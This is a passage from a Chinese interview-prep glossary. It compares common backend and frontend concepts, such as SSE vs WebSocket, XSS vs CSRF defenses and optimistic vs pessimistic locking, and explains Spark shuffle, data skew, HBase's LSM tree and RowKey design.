知识更新 改文档立刻生效 需重新训练
成本 低 高
可溯源 ✅ 能标引用 ❌ 黑盒
适合 知识问答(90% 场景) 改风格/格式/领域语言

14.7 SSE vs WebSocket

SSE WebSocket
方向 单向(服务端→客户端) 双向
协议 HTTP ws://(需升级)
自动重连 ✅ 原生支持 ❌ 需自己实现
适合 AI 打字机、推送 聊天、协同、实时监控

14.8 XSS vs CSRF

XSS(跨站脚本) CSRF(跨站请求伪造)
手段 注入恶意脚本 伪造用户请求
后果 偷信息(Cookie) 冒充操作(转账)
需要登录 不需要 需要
防御 转义、CSP、HttpOnly Token、SameSite Cookie

记忆:XSS 偷东西,CSRF 冒充你。


14.9 防抖 vs 节流

防抖 Debounce 节流 Throttle
执行 最后一次触发后延迟执行 按固定频率执行
频繁触发结果 只执行 1 次 稀释成均匀多次
比喻 电梯等人 水龙头限流
场景 搜索框输入 滚动加载、防重复点击

14.10 同步/异步 vs 阻塞/非阻塞

这是两对独立的概念,不要混用:

  • 同步/异步 → 关注结果怎么拿到(主动取 vs 被动通知)
  • 阻塞/非阻塞 → 关注等待时线程在干嘛(挂起 vs 立刻返回)
阻塞 非阻塞
同步 排队等着拿(BIO) 边等边轮询(NIO 轮询)
异步 —(不存在) 好了叫你(AIO / 回调)

14.11 悲观锁 vs 乐观锁

悲观锁 乐观锁
假设 一定会冲突,先锁再说 一般不会冲突,提交时再检查
实现 SELECT ... FOR UPDATE、synchronized 版本号 / CAS
适合 写多读少、冲突频繁 读多写少、冲突少
代价 加锁开销、阻塞 冲突时重试的成本

乐观锁实现:

UPDATE product 
SET stock = stock - 1, version = version + 1 
WHERE id = 100 AND version = 5;
-- 返回影响行数 0 → 说明被别人改过了 → 重试或报错

14.12 进程 / 线程 / 协程

进程 线程 协程
是什么 资源分配的基本单位 CPU 调度的基本单位 用户态的轻量线程
有独立内存吗 ✅ 有(独立地址空间) ❌ 共享进程内存 ❌ 共享线程内存
切换开销 最大 中 最小(不用进内核)
通信 IPC(管道、共享内存) 共享内存 + 锁 直接共享
崩溃影响 不影响其他进程 会拖垮整个进程 会拖垮所在线程

14.13 堆 vs 栈

堆 Heap 栈 Stack
存什么 对象实例 局部变量、方法调用帧
共享吗 ✅ 线程共享 ❌ 线程私有
大小 大(GB 级,可调) 小(默认 1MB,固定)
速度 慢(需要 GC) 快(出栈即释放)
异常 OutOfMemoryError StackOverflowError(递归太深)
碎片 有(需要 GC 整理) 无

Cookie Session Token(JWT)
存在哪 浏览器 服务端(内存/Redis) 浏览器(服务端不存)
有状态吗 — ✅ 有状态 ✅ 无状态
安全性 低(可被篡改) 高(服务端保管) 中(签名防篡改,但 Payload 可读)
分布式 — ❌ 需要共享(Redis) ✅ 天然支持
跨域 ❌ 受限 依赖 Cookie ✅ 友好
主动失效 — ✅ 可以(删 Session) ❌ 难(要等过期或加黑名单)

14.15 GET vs POST

GET POST
语义 获取资源(幂等、安全) 提交数据(非幂等)
参数位置 URL 查询串 请求体 Body
长度限制 有(URL 长度,约 2KB~8KB) 无
可缓存 ✅ 可以 ❌ 默认不缓存
可收藏/后退 ✅ 无害 ⚠️ 会重新提交
安全性 参数在 URL 里,不适合传敏感信息 相对安全(但仍需 HTTPS)

⚠️ 常见误区:“GET 比 POST 安全” —— 都不安全,都是明文传输,要加密得用 HTTPS。


14.16 重载 vs 重写

重载 Overload 重写 Override
发生在 同一个类里 父子类之间
方法名 相同 相同
参数 必须不同(个数/类型/顺序) 必须相同
返回值 可以不同 必须相同(或子类型)
多态 编译时多态(静态绑定) 运行时多态(动态绑定)
访问修饰符 无限制 不能比父类更严格

面试高频追问:“返回值不同算重载吗?”

不算。 重载只看参数列表(个数、类型、顺序)。 仅返回值不同,编译器会报“方法已定义”的错误。


14.17 接口 vs 抽象类

接口 Interface 抽象类 Abstract Class
方法 默认全是抽象方法(Java 8+ 可有 default) 可以有抽象方法 + 具体方法
变量 只能是 public static final 常量 普通成员变量
继承 可以多实现 只能单继承
构造 无构造方法 有构造方法
设计意图 定义能力/规范(能做什么) 定义本质/模板(是什么)
比喻 USB 接口(一种能力标准) 动物类(一种分类模板)

怎么选:

  • 强调“能做什么“(如 Flyable、Runnable)→ 接口
  • 强调“是什么“,且有公共代码要复用 → 抽象类

14.18 垂直扩容 vs 水平扩容

垂直扩容 Scale Up 水平扩容 Scale Out
做法 升级单台机器(加 CPU、内存) 加更多机器
上限 有上限(单机硬件极限) 几乎无上限
成本 高端服务器贵,且性价比递减 普通服务器,线性扩展
停机 通常需要停机 可以不停机
复杂度 低(改配置就行) 高(要处理分布式问题)
适合 快速应急、数据库等有状态服务 互联网主流(无状态服务)

14.19 接口幂等 vs 并发安全

幂等 并发安全
关注 重复调用结果是否一致 同时调用是否出错
场景 网络重试、MQ 重投 多线程同时改数据
典型解法 唯一键、Redis SETNX、状态机 锁、CAS、事务
关系 幂等通常能顺带解决部分并发问题,但不等价 —

14.20 面试高频术语 TOP 30(突击用)

分布式事务:2PC / TCC / Saga / Seata AT / 幂等 / 空回滚 / 悬挂 / 事务消息
消息中间件:ACK / offset / Rebalance / 死信队列 / At Least Once / 消息堆积
缓      存:TTL / LRU / LFU / W-TinyLFU / 穿透 / 击穿 / 雪崩 / Cache Aside
JVM 并发 :JMM / GC / G1 / ZGC / STW / CAS / AQS / ThreadLocal / volatile
数  据  库:MVCC / redo / undo / binlog / 回表 / 覆盖索引 / 间隙锁 / 幻读
框      架:IoC / AOP / 三级缓存 / 自动配置 / 事务传播
微  服  务:RPC / 熔断 / 降级 / 限流 / 分布式锁 / 服务雪崩
可 观 测 :P99 / SLA / SLO / RTO / RPO / MTTR / 链路追踪
AI 应  用:RAG / Embedding / Token / 幻觉 / Function Call / Agent / SSE
前      端:SPA / SSR / 事件循环 / 闭包 / 防抖 / 节流 / 虚拟滚动

14.21 这本手册怎么用

场景一:开始读某一篇文档前 → 翻到那篇开头的「名词速查」小节,扫一眼该篇用到的术语,30 秒搞定,读正文不卡壳。

场景二:读正文时遇到不懂的缩写 → 回来 Ctrl+F 搜这个缩写,看它的全称和白话解释。

场景三:面试前一天突击 → 只看 第十四章(易混概念对比) + 14.20 的 TOP 30,这是性价比最高的部分。 → 每个概念试着用自己的话 + 一个生活类比讲出来,讲不出来就是没真懂。

场景四:被面试官追问时 → 记住一个万能框架:全称 → 一句话是什么 → 解决什么问题 → 生活类比 → 有什么坑。 → 这五步能答全,比背定义强得多。


附:文档索引(这份手册覆盖的全部文档)

编号 文档 主要术语领域
00 名词速查手册(本册) 全部领域
01 Java 核心内功 JVM / 并发 / 集合
02 开发框架 Spring / 微服务 / MyBatis / MQ
03 数据库与缓存 MySQL / Redis / 分库分表
04 中间件 MQ / Redis / 网络
05 大数据 HBase / ClickHouse / 时序库
06 AI 应用开发 RAG / LLM / Agent
07 云原生与 DevOps K8s / Docker / CI/CD
08 可观测性 监控 / 链路追踪 / 排查
09 前端基础 Vue3 / JS 基础 / 工程化
10 数据一致性与缓存同步 分布式事务 / 消息 / 缓存一致性
— 简历技术栈学习指南 总索引

第十五章:大数据(Spark / HBase)

这一章是 05 号文档(《大数据》)的地基。 如果你从没接触过 Spark / HBase,看到 Shuffle、LSM 树、RowKey、MemStore 这几个词会直接卡住。先读这一章。

15.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
Spark Apache Spark 分布式计算引擎,把数据切成小块分给多台机器同时算 05
RDD Resilient Distributed Dataset 弹性分布式数据集:Spark 最早的数据抽象,一堆“不可变的分区数据” 05
DataFrame DataFrame 带“表结构”的分布式数据(有列名有类型),比 RDD 好用得多 05
Dataset Dataset DataFrame 的类型安全版(编译期能查出字段名写错) 05
Shuffle Shuffle(洗牌) 把数据按 key 重新分发到各台机器——Spark 里最贵的操作 05
宽依赖 Wide Dependency 父分区的数据要分给多个子分区 → 必须 Shuffle 05
窄依赖 Narrow Dependency 一个父分区只给一个子分区 → 不用 Shuffle,可以流水线算 05
Stage Stage(阶段) Spark 把任务按“要不要 Shuffle”切成一段段,一段叫一个 Stage 05
DAG Directed Acyclic Graph 有向无环图:Spark 把整个计算画成一张依赖流程图,再分批执行 05
Executor Executor(执行器) 真正干活的工作进程,跑在从节点上,一个节点可以跑多个 05
Driver Driver(驱动器) 总指挥:把你的代码翻译成任务,分给 Executor,收结果 05
数据倾斜 Data Skew 大量数据挤在同一个 key 上 → 一台机器累死,其他看戏 → 任务卡住 05
加盐 Salting 给 RowKey 加随机前缀,把集中的 key 打散到多台机器 05
HBase Hadoop Database 分布式的列族数据库,适合海量数据的随机读写 05
RowKey Row Key HBase 的“主键”,数据按它排序存储,设计好坏直接决定性能 05
LSM 树 Log-Structured Merge Tree HBase 的存储结构:写入先落内存,攒够了再批量刷成文件 05
MemStore Memory Store LSM 里的“内存缓冲区”,写进来先放这,攒满了刷到磁盘 05
HFile HBase File MemStore 刷盘后的产物,存在 HDFS 上的有序文件 05
WAL Write-Ahead Log 写入前先记日志,防止 MemStore 在内存里还没刷盘就宕机丢数据 03/05
Region Region(分区) HBase 按 RowKey 范围切分的“数据分片”,一个表有很多 Region 05
RegionServer Region Server 干活的节点进程,管着一堆 Region 05
列族 Column Family HBase 的列分组(如 info:、data:),建表时就要定好,不能随便加 05
Compaction Compaction(合并) 把很多小 HFile 合并成大的,清理已删除的数据 05
布隆过滤器 Bloom Filter 极省内存的“可能存在”判断器:能确定“一定没有”,但“有”可能是误判 03/05
读放大 Read Amplification 读一条数据要翻好几个文件,实际读的量远大于需要的量 05
写放大 Write Amplification 写一条数据引发多次后台合并写入,实际写盘量远大于数据量 05

15.2 核心概念详解

Shuffle —— Spark 里最贵的动作

一句话:把数据按 key 重新洗牌分发,跨机器搬数据,所以慢。

┌─────────────────────────────────────────────────────────┐
│ 类比:学校分班                                            │
│                                                          │
│   原来:1班2班3班各坐 40 人(按学号分)                    │
│   现在:要按"选课"重新分班(学数学的去A班,学语文的去B班) │
│                                                          │
│   → 所有学生都得站起来,看自己的选课,走到新教室            │
│   → 【这就是 Shuffle:大规模的人员流动】                   │
│                                                          │
│   对比:如果只是"每个人都做一道题"(比如给每人成绩+1分)    │
│   → 大家坐着不动就能完成,不需要流动                       │
│   → 【这就是窄依赖:不用 Shuffle】                         │
└─────────────────────────────────────────────────────────┘

  Spark 代码里哪些操作会触发 Shuffle:

    ❌ 会 Shuffle(宽依赖):
       groupByKey      —— 按 key 分组
       reduceByKey     —— 按 key 聚合
       join            —— 两张表按 key 关联
       distinct        —— 去重
       repartition     —— 重新分区
       orderBy / sortBy —— 全局排序

    ✅ 不 Shuffle(窄依赖):
       map / filter    —— 逐条处理
       flatMap         —— 一对多展开
       union           —— 简单拼接
       coalesce        —— 减少分区(不重新洗,只是合并)

★ 面试话术:
   "优化 Spark 任务,第一件事就是数一遍代码里有几个 Shuffle,
    能消掉就消掉,消不掉就想办法让 Shuffle 的数据量变小。"

Shuffle 为什么慢?三个代价

  ① 网络传输:数据要跨机器搬运,带宽是稀缺资源
  ② 磁盘 I/O:每台机器要把"发给别人"的数据先落盘,免得内存爆
  ③ 排序:接收方要按 key 排序,CPU 和内存都在烧

  ★ 一个真实的优化案例(简历项目一:资金拆分):

     优化前:
       df.groupByKey().mapValues(...)     ← groupByKey 全量传输

     优化后:
       df.reduceByKey(...)                ← 先在每台机器本地聚合,再传

     区别:
       groupByKey:把 100 万条原始记录【全部】搬到网络上传
       reduceByKey:先在每台机器本地算出小计,只传【聚合后的几条】

     → 网络传输量从 100 万条降到几百条,任务从 40 分钟降到 3 分钟

数据倾斜 —— Spark 任务的头号杀手

一句话:某个 key 的数据量特别大,导致一个 Executor 干 99% 的活,其他都在等它。

┌─────────────────────────────────────────────────────────┐
│ 现象(一眼就能认出来):                                  │
│                                                          │
│   Spark UI 里看到:                                       │
│     任务 A:0.5 秒 ✅                                     │
│     任务 B:0.3 秒 ✅                                     │
│     任务 C:47 分钟 ⏳ ...还在跑                           │
│     任务 D:0.4 秒 ✅                                     │
│                                                          │
│   → 99% 的任务都完成了,就卡在最后一个                     │
│   → 看那个任务的输入数据量,会发现是别人的几千倍            │
│                                                          │
│ 类比:搬砖                                                │
│   10 个人搬 1000 块砖,本来一人 100 块,10 分钟干完。      │
│   但工头把 991 块都分给了张三,其他人各 1 块。             │
│   其他人 1 分钟干完去喝茶了,张三一个人搬到天黑。           │
│   → 总耗时 = 张三的耗时,和人多不多没关系                  │
└─────────────────────────────────────────────────────────┘

  常见原因:
    · 业务本身就有超级大 key(比如"未登录用户"都被记成 userId=null)
    · 空值 / 默认值集中(null、""、0、unknown)
    · 热点数据(爆款商品、头部大客户)

  解决方案(按优先级):

  ① 【首选】过滤掉异常 key
     null、空串这些本来就该剔除的,直接 filter 掉

  ② 【最通用】加盐打散(两阶段聚合)
     // 第一阶段:给 key 加随机前缀,先局部聚合
     val salted = rdd.map { case (k, v) =>
         (k + "_" + Random.nextInt(10), v)     // ← 加盐:1个key变10个
     }.reduceByKey(_ + _)

     // 第二阶段:去掉前缀,再聚合一次
     val result = salted.map { case (k, v) =>
         (k.split("_")(0), v)                  // ← 去盐
     }.reduceByKey(_ + _)

     ★ 原理:原来 100 万条都挤在一个 key 上,
             加盐后打散成 10 份,每份 10 万条,10 台机器一起干

  ③ 大 key 单独处理(打散 join)
     把大 key 和小 key 拆开,大 key 那一小撮走特殊逻辑(如广播 join)

  ④ 广播 join(Broadcast Join)
     如果是一张【小表】和一张【大表】join,
     把小表直接广播到每台机器的内存里,彻底避免 Shuffle
     spark.sql.autoBroadcastJoinThreshold = 10MB  (默认)

  ⑤ 提高 Shuffle 并行度
     spark.sql.shuffle.partitions = 200 (默认,倾斜时可调到 400~800)
     ★ 注意:这只是治标,key 还是那个 key,只是多分了几个人

LSM 树 —— HBase 为什么写那么快

一句话:写入不直接改磁盘上的文件,而是先写内存,攒够了再一次性顺序刷盘。

┌─────────────────────────────────────────────────────────┐
│ 对比:传统数据库(MySQL 的 B+ 树)vs HBase(LSM 树)      │
│                                                          │
│  【B+ 树:原地更新】                                      │
│    改一条数据 → 先找到它在磁盘的哪一页 → 把那页读出来      │
│    → 改掉 → 写回去                                        │
│                                                          │
│    类比:你要改笔记本第 47 页的一个字                      │
│    → 翻到第 47 页,擦掉重写,合上                          │
│    → 【随机写】:每次都要翻到不同的页,慢                   │
│                                                          │
│  【LSM 树:追加写入】                                      │
│    改一条数据 → 直接追加到"内存缓冲区",打个标记           │
│    → 攒够了(比如 128MB)→ 一次性【顺序】刷成新文件        │
│                                                          │
│    类比:你不改笔记本,而是在后面【贴便利贴】              │
│    → "第47页那个字改成X"                                   │
│    → 攒了一堆便利贴,定期整理成新的一页                    │
│    → 【顺序写】:永远往后面加,快                          │
└─────────────────────────────────────────────────────────┘

  HBase 的完整写入链路:

    客户端 put
       │
       ├──① 先写 WAL(Write-Ahead Log,预写日志)
       │      ★ 这是【顺序写磁盘】,很快
       │      ★ 作用:万一 MemStore 还没刷盘就宕机,靠 WAL 恢复
       │
       ├──② 再写 MemStore(内存缓冲区)
       │      ★ 纯内存操作,极快
       │      ★ 数据在内存里【按 RowKey 排序】
       │
       └──③ 返回客户端"写入成功"
              ★ 注意:此时数据【还没落到 HFile】,但已经算成功了
                 因为 WAL 保证了不会丢

    ......持续写入......

    当 MemStore 攒到阈值(默认 128MB)
       │
       └──④ flush:把内存里有序的数据【顺序】刷成一个新的 HFile
              ★ 这就是 LSM 快的根本原因:随机写 → 顺序写

    ......HFile 越来越多......

    当 HFile 数量超过阈值
       │
       └──⑤ Compaction(合并):把多个小 HFile 合并成大的
              · 顺手清理掉被标记为"删除"的数据
              · 顺手把同一 key 的多个版本合并,只留最新的

  读取链路(比写入麻烦,这就是代价):

    客户端 get(rowKey)
       │
       ├──① 先查 MemStore(内存,最新)
       ├──② 再查 BlockCache(读缓存)
       └──③ 最后查所有 HFile(可能要翻好几个文件!)
              ★ 用【布隆过滤器】快速判断"这个 RowKey 在不在这个文件里"
                不在就直接跳过,省掉一次磁盘 I/O

LSM 的三个“放大”代价(面试加分项)

┌─────────────────────────────────────────────────────────┐
│ LSM 用"读变慢"换来了"写变快",代价有三个:                 │
│                                                          │
│ ❶ 读放大(Read Amplification)                           │
│    读一条数据要翻 MemStore + 多个 HFile                   │
│    可能实际读了 10 个文件才找到那 1 条                     │
│    → 缓解:布隆过滤器 + BlockCache + Compaction           │
│                                                          │
│ ❷ 写放大(Write Amplification)                          │
│    你只写了 1KB,但 Compaction 反复合并重写,             │
│    实际写盘量可能是 10KB                                  │
│    → 缓解:调整 Compaction 策略,别太频繁                 │
│                                                          │
│ ❸ 空间放大(Space Amplification)                        │
│    一份数据可能同时存在于:WAL + MemStore + 多个 HFile    │
│    且已删除的数据在 Compaction 前一直占着空间              │
│    → 缓解:定期 Major Compaction                          │
│                                                          │
│ ★ 面试话术:                                              │
│   "LSM 树的核心权衡是:牺牲读性能和空间,换取极致的写性能。  │
│    所以 HBase 适合【写多读少 + 海量数据】的场景,           │
│    不适合高并发随机读的在线交易场景——那种该用 MySQL。"      │
└─────────────────────────────────────────────────────────┘

RowKey 设计 —— HBase 的“命门”

一句话:HBase 的数据按 RowKey 的字典序存储,RowKey 怎么设计,直接决定数据会不会扎堆、查询快不快。

┌─────────────────────────────────────────────────────────┐
│ 类比:字典                                                │
│   字典按拼音排序,你要查"张"字,直接翻到 Z 区就行,很快    │
│                                                          │
│   但如果所有人的名字都叫"张伟"(RowKey 都一样),          │
│   那 Z 区就有 100 万页,其他区是空的                       │
│   → 查"张伟"要翻 100 万页 → 【数据倾斜】                   │
└─────────────────────────────────────────────────────────┘

  ❌ 坏设计 1:直接用自增 ID
     RowKey = 1, 2, 3, 4, ... 1000000
     → 所有新数据都写到【最后一个 Region】
     → 那台机器累死,其他闲着 → 写热点

  ❌ 坏设计 2:时间戳开头
     RowKey = 20260903120000_userId
     → 同一时刻的数据全挤在一起 → 同样的写热点

  ✅ 好设计 1:反转(打散自增 ID)
     RowKey = reverse(userId)     // 1000001 → 1000001 反转成 1000001
     → 尾数变成开头,自然打散

  ✅ 好设计 2:加盐(Salting)
     RowKey = (userId.hashCode() % 10) + "_" + userId
     → 原来 1 个 key 变成 10 个,分到 10 个 Region
     → 查询时要查 10 次再合并(读的代价)
     ★ 适合【写多读少】

  ✅ 好设计 3:哈希
     RowKey = MD5(userId).substring(0,8) + "_" + userId
     → 完全打散,分布均匀
     → 但失去了"按范围扫描"的能力

  ✅ 好设计 4:业务字段组合(最实用)
     RowKey = 业务主体 + 时间倒序
     例:user123_20260903120000
     → 同一个用户的数据挨在一起,查"某用户最近10条"极快
     → 用 Long.MAX_VALUE - timestamp 实现时间倒序(最新的排前面)

  ★ 三条铁律(背下来):
     ① 唯一性:RowKey 必须唯一,否则会覆盖
     ② 长度适中:10~100 字节最佳,太长浪费存储和内存
     ③ 散列性:要让数据均匀分布在各个 Region,避免热点


最后一句 术语只是“名字”,真正值钱的是它解决什么问题、以及它有什么坑。 面试时能把“为什么需要它”和“我踩过什么坑”讲出来,比背十个定义都管用。